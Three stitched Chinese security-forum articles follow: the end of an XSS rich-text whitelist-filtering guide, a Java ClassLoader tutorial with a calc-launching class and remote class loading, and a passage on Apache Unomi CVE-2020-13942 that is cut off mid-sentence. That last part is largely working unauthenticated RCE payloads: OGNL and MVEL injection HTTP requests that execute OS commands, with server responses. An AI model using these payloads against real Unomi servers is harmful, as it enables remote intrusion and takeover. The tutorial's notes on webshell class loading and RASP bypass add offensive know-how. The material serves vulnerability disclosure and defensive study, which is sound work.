除了可以使用默认的策略，也支持灵活的自定义策略。相较于jsoup，自带了正则匹配内容的方法。
简单解释下上面的代码中自定义策略的部分。
allowElements(allowTags)，表示允许指定的所有标签；
allowAttributes(safeAttributes)，表示允许的属性，后面接的globally()方法表示全局，也就是对所有标签生效；
allowUrlProtocols(“http”,”https”).allowAttributes(“src”).onElements(“img”)，表示允许img标签使用src属性，并且属性值仅支持http、https协议的url；
allowAttributes(“href”).matching(whiteUrl).onElements(“a”)，表示a标签的href必须能够通过正则表达式的校验，否则该属性会被删除掉，后面接requireRelNofollowOnLinks()，表示强制增加rel=nofollow属性。
更多使用方法请参考官方文档：<https://javadoc.io/doc/com.googlecode.owasp-java-html-sanitizer/owasp-java-html-sanitizer/latest/index.html>
官方的例子中还有Ebay和Slashdot的过滤策略，写的比较复杂，感兴趣的读者也可以学习一下：
<https://github.com/OWASP/java-html-sanitizer/tree/master/src/main/java/org/owasp/html/examples>
OWASP还有一个AntiSamy项目： <https://owasp.org/www-project-antisamy/>
，主要用法是使用xml配置文件配置白名单策略。源码：<https://github.com/nahsra/antisamy>
OWASP Java HTML Sanitizer的页面介绍里讲自己比AntiSamy快4倍，这里就不展开了。
**其他服务端开发语言过滤组件**
.NET：<https://github.com/mganss/HtmlSanitizer>
Golang：<https://github.com/microcosm-cc/bluemonday>
PHP：<http://htmlpurifier.org/>
Python：<https://pypi.python.org/pypi/bleach>
Django框架（Python）：<https://github.com/shaowenchen/django-xss-cleaner>
### 前端过滤
**js-xss**
前端将数据渲染到页面呈现之前，也可以对内容进行一次过滤。这里推荐使用js-xss模块。除了可以在页面里直接引入js使用，同时也支持node.js，当使用node.js做服务端时，也可以参照前面的方案，在数据传入时使用该模块进行过滤。
源码：<https://github.com/leizongmin/js-xss>
项目主页： <http://jsxss.com>
Demo：
<script src="dist/xss.js"></script>
<script>
options = {
whiteList: {
a: ["href", "title", "target","xxx"],
},
}; // 自定义规则
html1 = filterXSS("<a href=\"http://stayfoolish.cc\" xxx=\"ss\" sss=\"ss\">aaa</a>", options);
console.log(html1);
html2 = filterXSS("<a href=\"http://stayfoolish.cc\" xxx=\"ss\" sss=\"ss\">aaa</a>");
console.log(html2)
</script>
执行结果：
支持通过wihteList字段自定义规则，如果未指定规则，将会使用默认规则。
默认的白名单在getDefaultWhiteList函数中。
function getDefaultWhiteList() {
return {
a: ["target", "href", "title"],
abbr: ["title"],
address: [],
area: ["shape", "coords", "href", "alt"],
article: [],
aside: [],
audio: [
"autoplay",
"controls",
"crossorigin",
"loop",
"muted",
"preload",
"src",
],
b: [],
bdi: ["dir"],
bdo: ["dir"],
big: [],
blockquote: ["cite"],
br: [],
caption: [],
center: [],
cite: [],
code: [],
col: ["align", "valign", "span", "width"],
colgroup: ["align", "valign", "span", "width"],
dd: [],
del: ["datetime"],
details: ["open"],
div: [],
dl: [],
dt: [],
em: [],
figcaption: [],
figure: [],
font: ["color", "size", "face"],
footer: [],
h1: [],
h2: [],
h3: [],
h4: [],
h5: [],
h6: [],
header: [],
hr: [],
i: [],
img: ["src", "alt", "title", "width", "height"],
ins: ["datetime"],
li: [],
mark: [],
nav: [],
ol: [],
p: [],
pre: [],
s: [],
section: [],
small: [],
span: [],
sub: [],
summary: [],
sup: [],
strong: [],
strike: [],
table: ["width", "border", "align", "valign"],
tbody: ["align", "valign"],
td: ["width", "rowspan", "colspan", "align", "valign"],
tfoot: ["align", "valign"],
th: ["width", "rowspan", "colspan", "align", "valign"],
thead: ["align", "valign"],
tr: ["rowspan", "align", "valign"],
tt: [],
u: [],
ul: [],
video: [
"autoplay",
"controls",
"crossorigin",
"loop",
"muted",
"playsinline",
"poster",
"preload",
"src",
"height",
"width",
],
};
}
node.js安装：
npm install xss
使用方法：
var xss = require('xss');
var options = {
whiteList: {
a: ["href", "title", "target","xxx"],
},
};
var html = xss('<a href=\"http://stayfoolish.cc\" xxx=\"ss\" sss=\"ss\">aaa</a>', options);
console.log(html);
执行结果：
<a href="http://stayfoolish.cc" xxx="ss">aaa</a>
源文件xss.js中safeAttrValue(tag, name, value,
cssFilter)函数中对标签属性进行了过滤。项目文档里写了常见的用法，代码也写的比较清晰，有需要的可以直接查阅文档或代码。
## 四、标签属性安全使用建议
1、href、src属性需要校验协议
如果未校验，攻击者可以使用javascript:伪协议插入执行恶意的js代码。
2、什么情况a标签要加rel=”nofollow”属性？
这个属性的意思是告诉搜索引擎不要追踪此链接。如果A网页上有一个链接指向B网页，但A网页给这个链接加上了rel=”nofollow”
标注，那么搜索引擎不会把A网页计算入B网页的反向链接。搜索引擎看到这个属性就会取消链接的投票权重。
简单来讲，有些搞SEO的人，会在各大网站插入很多带有超链接的垃圾信息，如果强制加了rel=“nofollow”属性，搜索引擎爬到了，也不会给对方增加权重。这样搞恶意SEO的人，就没兴趣在你的网站里插垃圾信息了。
所以要不要加这个属性，取决于你的业务是否需要防止上述情形。
3、哪些属性被认为是安全的？
`align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color,
cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight,
marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows,
rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign,
value, vlink, vspace, width.`
以上是OWASP整理的安全属性，可以放心使用。参考：
<https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html>
4、iframe标签安全使用建议
建议不要使用，如果一定要用，可以通过下面几个方式降低风险：
* src属性必须校验协议，限制http和https，同时进行url白名单正则校验，限制内容为可信域名，防止攻击者插入恶意页面。
* 固定长宽，或限制最大长宽，防止子页面覆盖父页面。
* 使用沙箱（sandbox）机制，遵循权限最小化原则配置相应选项满足业务需求。
sandbox 详细可参考
iframe特性全解读： <https://zhuanlan.zhihu.com/p/88809313>
sandbox 属性：<https://www.bookstack.cn/read/html-tutorial/spilt.2.docs-iframe.md>
5、style属性，建议不要使用。
原因参考：基于css注入的向量<https://html5sec.org/#css>
如果需要支持用户控制样式，建议使用class属性，针对不同的值提前定好对应的样式。
实在非要使用style属性的话，那就自己把属性值提取出来，解析后再做一层白名单过滤吧（如果写不好，会存在绕过的可能）。
6、script标签严禁用户插入，这个相信不用解释了。
7、上面提到的这些内容不能保证全面，超出范围的，建议咨询熟悉的专业安全人员。
## 五、其他常见场景、对应问题和解决方案
### 1、富文本内容被WAF（Web应用防火墙）拦截
有些公司的WAF规则比较严格，对请求中包含某些标签内容的，会直接判定为攻击，进行拦截。
通常WAF是站在企业整体安全的角度去做防护的，不能因为业务的某一个功能点，去降低整体的防护能力。这时，可以考虑使用以下方案去满足业务需求：
图中蓝色线条是在原有常规方案基础上的改动。即在前端解析富文本内容的DOM树，转换为json格式，之后提交给服务端，服务端进行白名单过滤。
html和json的转换，可以考虑使用类似html2json功能的组件来实现：
<https://github.com/Jxck/html2json>
注意，这种方案绕过了WAF的防护，请务必保证白名单策略的安全！请务必保证白名单策略的安全！请务必保证白名单策略的安全！
### 2、内容来自文件导入
有的业务场景，需要从文件批量导入内容，并且内容还要支持富文本，流程如下：
这种场景下，可以在服务端提取到内容后对富文本内容进行白名单过滤，之后再进行持久化存储。对于业务上不需要支持富文本的字段，直接按照传统XSS的防护方案进行特殊字符转义就好。
### 3、内容从用户指定的外部网页爬取
除非有特别强烈的需求，否则不建议做这样的功能，从安全角度讲绝对是坑。
这种场景里，由于要爬取用户指定的第三方页面，所以首先需要完善的SSRF漏洞防护方案（这是另一个话题，这里不展开）。之后按照前面讲的方案对内容进行过滤。
### 4、生成html文件存储到服务器上
不建议使用这样的方案实现功能，小网站有这样做的，通常互联网企业里这种实现方式本身就违背了开发规范。
笔者以前有一次做渗透时，遇见过某个系统生成的还是jsp文件，插入java后门代码直接就拿到了服务器控制权。
### 5、服务端生成html文件上传至云存储
这里我们要假设云存储的html页面会对业务造成安全威胁，比如钓鱼攻击、业务子域名cname解析或者cdn到云存储服务，可以导致XSS影响业务。
这种场景与文章开头的方案之间的区别只是内容持久化存储的位置发生了变化，只要在服务端上传文件之前，对内容进行过滤即可。
### 6、前端生成html文件上传至云存储
不要使用这种方案！不要使用这种方案！不要使用这种方案！这种方案由于内容不经过自己的业务服务器，没有办法对内容进行过滤处理。在这样的方案里，前端的无论怎么做，对安全都是不起作用的。
### 小结
以上是笔者见过的一些比较经典的场景，有些业务场景可能是上面每个场景不同部分的组合。
从中抽象出本质，不外乎“输入->白名单过滤->持久化->白名单过滤->输出”。通常更多的富文本使用场景会选择在输入时后端做过滤。如果有特殊需求，比如想完整保留用户输入的数据，那么也可以选择在输出时进行过滤。
行文仓促，考虑不足之处，欢迎各位师傅给出指导、建议或补充。
* * *
**漏洞悬赏计划：涂鸦智能安全响应中心（<https://src.tuya.com> ）欢迎白帽子来探索。**
**招聘内推计划：涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位，简历投递sec#tuya.com，请注明来源。** | 社区文章 |
## 0x01 概念
Java类加载器(Java Classloader)是Java运行时环境(Java Runtime
Environment)的一部分，负责动态加载Java类到Java虚拟机的内存空间中，用于加载系统、网络或者其他来源的类文件。Java源代码通过javac编译器编译成类文件，然后JVM来执行类文件中的字节码来执行程序。
## 0x02 类文件编译流程图
我们以上图为例子，比如我们创建一个ClassLoaderTest.java文件运行，经过javac编译，然后生成ClassLoaderTest.class文件。这个java文件和生成的class文件都是存储在我们的磁盘当中。但如果我们需要将磁盘中的class文件在java虚拟机内存中运行，需要经过一系列的类的生命周期（加载、连接（验证-->准备-->解析）和初始化操作，最后就是我们的java虚拟机内存使用自身方法区中字节码二进制数据去引用堆区的Class对象。
通过这个流程图，我们就很清楚地了解到类的加载就是由java类加载器实现的，作用将类文件进行动态加载到java虚拟机内存中运行。
## 0x03 应用场景
### 1、资源隔离
实现不同项目或者同一个项目上的不同版本的jar包隔离，避免集群错误或者冲突的产生。
### 2、热部署
对于Java应用程序来说，热部署就是在运行时更新Java类文件。在基于Java的应用服务器实现热部署的过程中，类装入器扮演着重要的角色。类装入器不能重新装入一个已经装入的类，但只要使用一个新的类装入器实例，就可以将类再次装入一个正在运行的应用程序。这样我们应用正在运行的时候升级软件，却不需要重新启动应用。
### 3、代码保护
我们可以对字节码文件进行加密，然后再使用特定的ClassLoader解密文件内容，再加载这些字节码文件。这样就能够实现对我们的代码项目加密保护，别人无法进行反编译查看源代码信息。
## 0x04 类加载器分类
在简单了解的类加载器的概念作用之后，我们可以看看java中类加载器的分类。类加载器大致分为两种，一种是JVM自带的类加载器，分别为引导类加载器、扩展类加载器和系统类加载器。另外一种就是用户自定义的类加载器，可以通过继承java.lang.ClassLoader类的方式实现自己的类加载器。
### 4.1 JVM默认类加载器
#### 4.1.1 引导类加载器(BootstrapClassLoader)
引导类加载器(BootstrapClassLoader)，底层原生代码是C++语言编写，属于jvm一部分，不继承java.lang.ClassLoader类，也没有父加载器，主要负责加载核心java库(即JVM本身)，存储在/jre/lib/rt.jar目录当中。(同时处于安全考虑，BootstrapClassLoader只加载包名为java、javax、sun等开头的类)。
这里以我的电脑中jdk1.7为例，这里我们看到/jre/lib/rt.jar目录，这里面的类都是由BootstrapClassLoader来加载。
之后我们使用Object类为例，看看其是否存在父加载器。因为Object类是所有子类的父类，归属于BootstrapClassLoader。发现并没有父类加载器，结果为null。
#### 4.1.2 扩展类加载器(ExtensionsClassLoader)
扩展类加载器(ExtensionsClassLoader)，由sun.misc.Launcher$ExtClassLoader类实现，用来在/jre/lib/ext或者java.ext.dirs中指明的目录加载java的扩展库。Java虚拟机会提供一个扩展库目录，此加载器在目录里面查找并加载java类。
以我的电脑为例，这个目录下的jar包都是由ExtensionsClassLoader进行加载。
这里我们可以选择一个zipfs.jar包，然后查看下其jar中的ZipPath类加载器，发现存在于ExtensionsClassLoader。
#### 4.1.3 App类加载器/系统类加载器（AppClassLoader）
App类加载器/系统类加载器（AppClassLoader），由sun.misc.Launcher$AppClassLoader实现，一般通过通过(java.class.path或者Classpath环境变量)来加载Java类，也就是我们常说的classpath路径。通常我们是使用这个加载类来加载Java应用类，可以使用ClassLoader.getSystemClassLoader()来获取它。
这里我们使用本身写的ClassLoaderTest类进行测试，发现存在于AppClassLoader。
#### 4.2 自定义类加载器(UserDefineClassLoader)
自定义类加载器(UserDefineClassLoader)，除了上述java自带提供的类加载器，我们还可以通过继承java.lang.ClassLoader类的方式实现自己的类加载器。具体实现方法我们等下单独讲解。
## 0x05 双亲委派机制
通常情况下，我们就可以使用JVM默认三种类加载器进行相互配合使用，且是按需加载方式，就是我们需要使用该类的时候，才会将生成的class文件加载到内存当中生成class对象进行使用，且加载过程使用的是双亲委派模式，及把需要加载的类交由父加载器进行处理。
概念有点绕，我们可以先看类加载器委派关系
如上图类加载器层次关系，我们可以将其称为类加载器的双亲委派模型。但注意的是，他们之间并不是"继承"体系，而是委派体系。当上述特定的类加载器接到加载类的请求时，首先会先将任务委托给父类加载器，接着请求父类加载这个类，当父类加载器无法加载时（其目录搜素范围没有找到所需要的类时），子类加载器才会进行加载使用。这样可以避免有些类被重复加载。
### 5.1 双亲委派好处
1、这样就是能够实现有些类避免重复加载使用，直接先给父加载器加载，不用子加载器再次重复加载。
2、保证java核心库的类型安全。比如网络上传输了一个java.lang.Object类，通过双亲模式传递到启动类当中，然后发现其Object类早已被加载过，所以就不会加载这个网络传输过来的java.lang.Object类，保证我们的java核心API库不被篡改，出现类似用户自定义java.lang.Object类的情况。
假设我们创建一个java.lang包，自定义一个TestObject类，但由于双亲委派机制的存在，是不允许加载运行的。
## CLassLoader类核心方法
除了上述BootstrapClassLoader，其他类加载器都是继承了CLassLoader类，我们就一起看看其类的核心方法。以下代码都是截取了其方法的源码。
### 1、loadClass：加载指定的java类
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
在loadClass方法中，它先使用了findLoadedClass(String)方法来检查这个类是否被加载过。
接着使用父加载器调用loadClass（String）方法，如果父加载器为null，类加载器加载jvm内置的加载器。
之后就调用findClass(String) 方法装载类。
最后通过上述步骤我们找到了对应的类，并且接收到的resolve参数的值为true,那么就会调用resolveClass(Class)方法来处理类。
### 2、findCLass：查找指定的Java类
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
### 3、findLoadedClass：查找JVM已经加载过的类
protected final Class<?> findLoadedClass(String name) {
if (!checkName(name))
return null;
return findLoadedClass0(name);
}
### 4、defineClass：定义一个Java类，将字节码解析成虚拟机识别的Class对象。往往和findClass()方法配合使用。
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}
### 5、resolveClass：链接指定Java类
protected final void resolveClass(Class<?> c) {
resolveClass0(c);
}
private native void resolveClass0(Class c);
## 自定义类加载器过程
因为在实际应用过程中，我们不仅仅只希望使用classpath当中指定的类或者jar包进行调用使用，我们有时希望调用本地磁盘文件或者网络还可以使用自定义类加载器的方式。
在上面loadClass方法分析中，他内部其实是调用findClass(String)
方法来装载类，所以我们要想加载自己自定义的类，就是覆盖这个findClass(String) 方法，而不是loadClass方法。
以下就是自定义类加载器步骤：
1、继承ClassLoader类
2、覆盖findClass()方法
3、在findClass()方法中调用defineClass()方法
这里我们借助一个加密java类字节码例子来讲解。
这里我们先创建一个CypherTest.java文件，然后使用java -d .
CypherTest.java，然后就能生成CypherTest.class文件了。
CypherTest.java文件
package com.test;
public class CypherTest {
public static void main(String[] args) {
System.out.println("This experiment test is successful");
}
}
目录下生成了CypherTest.class文件。
之后我们编写一个加密类Encryption，使用简单的逐位取反进行加密操作。
package com.testCypher;
import java.io.*;
public class Encryption {
public static void main(String[] args) {
encode(new File("/usr/local/com/test/CypherTest.class"), // 获取路径CypherTest.class文件
new File("/usr/local/temp/com/test/CypherTest.class")); // 为了保持一致，创建了一个空的temp目录
}
public static void encode(File src, File dest) {
FileInputStream fis = null;
FileOutputStream fos = null;
try {
fis = new FileInputStream(src);
fos = new FileOutputStream(dest);
// 逐位取反操作
int temp = -1;
while ((temp = fis.read()) != -1) {// 读取一个字节
fos.write(temp ^ 0xff);// 取反输出
}
} catch (IOException e) {
} finally { // 关闭数据流
if (fis != null) {
try {
fis.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
System.out.println("This experiment test is successful");
}
}
之后我们看到生成了加密后新的CypherTest.class文件。
因为这个是自定义加密后，我们无法使用工具直接进行反编译操作和直接使用jvm默认类加载器去使用它。
之后我们再编写一个Dectyption解密类，对新加密的CypherTest.class进行解密操作。
package com.testCypher;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class Decryption extends ClassLoader { // 继承ClassLoader类
private String rootDir;
public Decryption(String rootDir) {
this.rootDir = rootDir;
}
@Override // 重写覆盖findClass
protected Class<?> findClass(String className) throws ClassNotFoundException {
Class<?> c = findLoadedClass(className);
if (c != null) {
return c;
} else {
ClassLoader parent = this.getParent();
try {
c = parent.loadClass(className);
} catch (ClassNotFoundException e) {
// System.out.println("父类无法加载你的class，抛出ClassNotFoundException,已捕获，继续运行");
}
if (c != null) {
System.out.println("父类成功加载");
return c;
} else {// 读取文件 转化成字节数组
byte[] classData = getClassData(className);
if (classData == null) {
throw new ClassNotFoundException();
} else { // 调用defineClass()方法
c = defineClass(className, classData, 0, classData.length);
return c;
}
}
}
}
public byte[] getClassData(String className) {
String path = rootDir + "/" + className.replace('.', '/') + ".class";
// 将流中的数据转换为字节数组
InputStream is = null;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try {
is = new FileInputStream(path);
byte[] buffer = new byte[1024];
int temp = -1;
while ((temp = is.read()) != -1) {
baos.write(temp ^ 0xff);
}
return baos.toByteArray();
} catch (Exception e) {
e.printStackTrace();
return null;
} finally {
if (is != null) {
try {
is.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (baos != null) {
try {
baos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
这里我们使用将Decryption继承ClassLoader类，之后覆盖findClass()方法，并且在findClass()方法中调用defineClass()方法使用，最后加载我们自定义的getClassData方法去进行解密操作。
最后我们使用一个Demo进行测试，去查看当前类加载器机制的情况。如果我们想要获取其输出的System.out.println语句，需要反射机制去实现。这篇文章我们只学习ClassLoader类应用，就不去涉及其他知识点，获取其类加载器查看即可。
package com.testCypher;
public class Demo {
public static void main(String[] args) throws ClassNotFoundException {
Decryption deLoader = new Decryption("/usr/local/temp/");// 解密加载器
Class<?> t1 = deLoader.loadClass("com.test.CypherTest");// 加载已加密的类
System.out.println("c3 的Class是 " + t1);
}
}
## URLClassLoader
除了上述自定义ClassLoader类，我们还可以学习URLClassLoader。URLClassLoader类继承ClassLoader类，可以加载本地磁盘和网络中的jar包类文件。
### 1\. 本地磁盘class文件调用
首先我在D盘创建了一个Test.java文件，写了一段calc.exe计算机弹窗代码。如果文件被成功解析执行，会输出Test
success字段且弹出计算器。
package com.test;
public class Test {
public Test(){
System.out.println("Test success!!!");
try{
Runtime.getRuntime().exec("cmd /c calc.exe");
}
catch(Exception e) {
e.printStackTrace();
}
}
}
然后使用javac进行编译，在D盘生成对应的class文件。
之后我们再修改ClassLoaderTest类，利用URLClassLoader方式去获取D盘中Test.class文件。
package com.Classloader;
import java.io.File;
import java.net.URI;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoaderTest {
public static void main(String[] args) throws Exception{
File file = new File("d:/");
URI uri = file.toURI();
URL url = uri.toURL();
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
Class clazz = classLoader.loadClass("com.test.Test");
clazz.newInstance();
}
}
这里使用File获取类文件路径，之后使用URLClassLoader获取url地址为D盘，之后使用loadClass方法获取Test.class所含包名，然后实例化。运行发现解析获取到了D盘中Test.class文件。
## 2\. 网络传输class文件调用
之后我们将Test.class放置到电脑的Tomcat服务器目录下，然后启动Tomcat。之后新建个ClassLoaderDemo类网络加载Tomcat服务器中的Test.class.
package com.Classloader;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoaderDemo {
public static void main(String[] args) throws Exception {
URL url = new URL("http://localhost:8080/examples/");
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
Class clazz = classLoader.loadClass("com.test.Test");
clazz.newInstance();
}
}
这里使用URLClassLoader加载网络中的Tomcat服务器目录，成功解析获取到了目录下的Test.class文件。
## 小结
通过ClassLoader类的学习，我们知道不仅仅局限于在ClassPath中类的调用，还能够通过自定义CLassLoader类来加载我们特定的类来操作利用。在安全领域当中，我们往往会使用其ClassLoader特性，自定义恶意的类加载webshell利用以及自定以类字节码的native方法绕过RASP检测。所以了解ClassLoader特性并进行自定义编写，对我们了解java安全机制十分重要。
## 参考链接
<https://blog.csdn.net/sinat_42483341/article/details/98624091>
<https://zhishihezi.net/b/5d644b6f81cbc9e40460fe7eea3c7925>
<https://blog.csdn.net/u014634338/article/details/81434327> | 社区文章 |
### 漏洞简介
* 参考链接
* <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13942>
* <https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/>
* <http://unomi.apache.org/>
上篇讲完了 CVE-2020-11975；
现在是下篇 CVE-2020-13942。
漏洞简介:
Checkmarx Security Research
Team绕过了上一个patch(修复CVE-2020-11975的代码)，再次实现了RCE，漏洞编号CVE-2020-13942。
远程攻击者发送带有了MVEL或OGNL表达式的请求，(因为MVEL和OGNL表达式可以包含任意类)，可导致远程代码执行(RCE)，权限就是Unomi应用程序的运行权限。
因为MVEL表达式和OGNL表达式，是由Unomi的包里的不同的"内部程序包"(internal
packages)里的不同的类进行计算/执行，所以CVE-2020-13942对应了2个独立的漏洞。
触发前提:
Apache Unomi < 1.5.2 的版本(如1.5.1)，无需身份验证，能访问到就能RCE。
安全版本:
Apache Unomi >=1.5.2 修复了漏洞CVE-2020-13942.
漏洞评级:
这2个漏洞(名为CVE-2020-13942)的CVS分数均为10.0, 因为它们能访问OS，还能破坏Unomi的机密性，完整性。
Timeline:
June 24, 2020 – Vulnerability disclosed to Apache Unomi developers
August 20, 2020 – Code with the mix merged to master branch
November 13, 2020 – version 1.5.2 containing the fixed code is released
November 17, 2020 – public disclosure
### 漏洞分析
为什么上一个patch(修复CVE-2020-11975的代码)可被绕过？
因为那个patch的`SecureFilteringClassLoader`依赖于这样一个假设:
“MVEL和OGNL表达式中的每个类都是通过使用`ClassLoader`类的`loadClass()`方法加载的。”
事实上，不通过调用`loadClass()`方法也能加载类。所以只要不调用loadClass()，就不会被`SecureFilteringClassLoader`限制,
也就是绕过了安全管控。
不调用`loadClass()`方法，怎么实现加载类的呢？
有2种注入办法，算是2个漏洞，编号都为CVE-2020-13942。
#### CVE-2020-13942 漏洞1 OGNL注入
下面这种方法可以在不调用`loadClass()`的情况下加载"OGNL表达式中的类"(classes inside OGNL expressions)。
例子:
以下这个表达式利用"反射"(reflections)来使用已经存在的、现有的Runtime对象，而不会调用`SecureFilteringClassLoader`的`loadClass()`方法。
下面的表达式调用`Runtime.getruntime()`来得到Runtime对象，然后调用`exec()`。
(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).
(#runtimemethod = #runtimeclass.getDeclaredMethods().
{^ #this.name.equals(\"getRuntime\")}[0]).
(#runtimeobject = #runtimemethod.invoke(null,null)).
(#execmethod = #runtimeclass.getDeclaredMethods().
{? #this.name.equals(\"exec\")}.
{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.
{? #this.getParameters().length < 2}[0]).
(#execmethod.invoke(#runtimeobject,\"calc.exe\"))
PoC 保存到了这儿以便参考 <https://github.com/1135/unomi_exploit>
PoC: HTTP request with OGNL injection
以下(PoC)HTTP请求中的OGNL表达式，得到了`Runtime`并使用Java reflection API执行了一条OS命令。
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 1143
{
"personalizations":[
{
"id":"gender-test_anystr",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2_anystr"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male_anystr"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"test-demo-session-id"
}
macOS
11.0.1下启动计算器`/System/Applications/Calculator.app/Contents/MacOS/Calculator`
payload看起来是一大堆字符，其实挺简单，比如执行系统命令`touch /tmp/POC`:
只是用reflection API写了`Runtime r = Runtime.getRuntime(); r.exec("touch
/tmp/POC");`，并把它包装为OGNL语法。
Response如下(可能不重要，仅供参考)
HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: OPTIONS, POST, GET
Set-Cookie: context-profile-id=79bbf636-11aa-4c3e-b276-2980c89874e9; Path=/; Expires=Wed, 24-Nov-2021 03:20:20 GMT; Max-Age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: context-profile-id=49b58042-92d6-4fcf-bb60-9fc0f62d0b5a; Path=/; Expires=Wed, 24-Nov-2021 03:20:20 GMT; Max-Age=31536000
Content-Type: application/json;charset=utf-8
Server: Jetty(9.4.22.v20191022)
{"profileId":"49b58042-92d6-4fcf-bb60-9fc0f62d0b5a","sessionId":"test-demo-session-id","profileProperties":null,"sessionProperties":null,"profileSegments":null,"filteringResults":null,"processedEvents":0,"personalizations":{"gender-test_anystr":["var2_anystr"]},"trackedConditions":[{"parameterValues":{"formId":"testFormTracking","pagePath":"/tracker/"},"type":"formEventCondition"}],"anonymousBrowsing":false,"consents":{}}
#### CVE-2020-13942 漏洞2 MVEL注入
事实上，由于MVEL表达式不是原始漏洞的一部分，所以SecurityFilteringClassLoader对MVEL注入问题的防御效果没有进行彻底的测试。也就是说它仅能涵盖了一部分情况。
MVEL表达式使用"已经实例化的类"(already instantiated
classes)，访问那些已经存在的、现有的对象，如`Runtime`或`System`，不会调用`loadClass()`方法。
如，MVEL表达式 `Runtime r = Runtime.getRuntime(); r.exec("calc.exe");`
因为是访问已经存在的、现有的对象，而不是创建它，所以可绕过SecureFilteringClassLoader类引入的安全检查（见1.5.1版本的`ConditionContextHelper`类的`executeScript`方法）。
修复CVE-2020-11975之后，当时的最新版Unomi(1.5.1)下，可在"条件"(condition)内进行MVEL表达式的计算/运行，这个"条件"(condition)里包含了任意类。
下面的HTTP请求中有一个"条件"(condition)，该"条件"(condition)带有1个参数，这个参数包含了一条MVEL表达式:
`script::Runtime r = Runtime.getRuntime(); r.exec("touch /tmp/POC");`
Unomi会解析这个值，并把`script::`之后的`Runtime r = Runtime.getRuntime(); r.exec("touch
/tmp/POC");`当作一条MVEL表达式去执行。
PoC: HTTP request with MVEL injection
以下(PoC)HTTP请求中的MVEL表达式创建了一个Runtime对象并运行OS命令。
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 564
{
"filters": [
{
"id": "myfilter1_anystr",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "test-demo-session-id_anystr"
}
测试成功。
Response如下(可能不重要，仅供参考)
HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: OPTIONS, POST, GET
Set-Cookie: context-profile-id=281304ce-0687-42cb-9899-d596421bbb9e; Path=/; Expires=Wed, 24-Nov-2021 03:26:27 GMT; Max-Age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: context-profile-id=54d3f93c-0b12-4a4c-9843-87738cdc986b; Path=/; Expires=Wed, 24-Nov-2021 03:26:27 GMT; Max-Age=31536000
Content-Type: application/json;charset=utf-8
Server: Jetty(9.4.22.v20191022)
{"profileId":"54d3f93c-0b12-4a4c-9843-87738cdc986b","sessionId":"test-demo-session-id_anystr","profileProperties":null,"sessionProperties":null,"profileSegments":null,"filteringResults":{"myfilter1_anystr":false},"processedEvents":0,"personalizations":null,"trackedConditions":[{"parameterValues":{"formId":"testFormTracking","pagePath":"/tracker/"},"type":"formEventCondition"}],"anonymousBrowsing":false,"consents":{}}
### 漏洞危害
成功绕过：
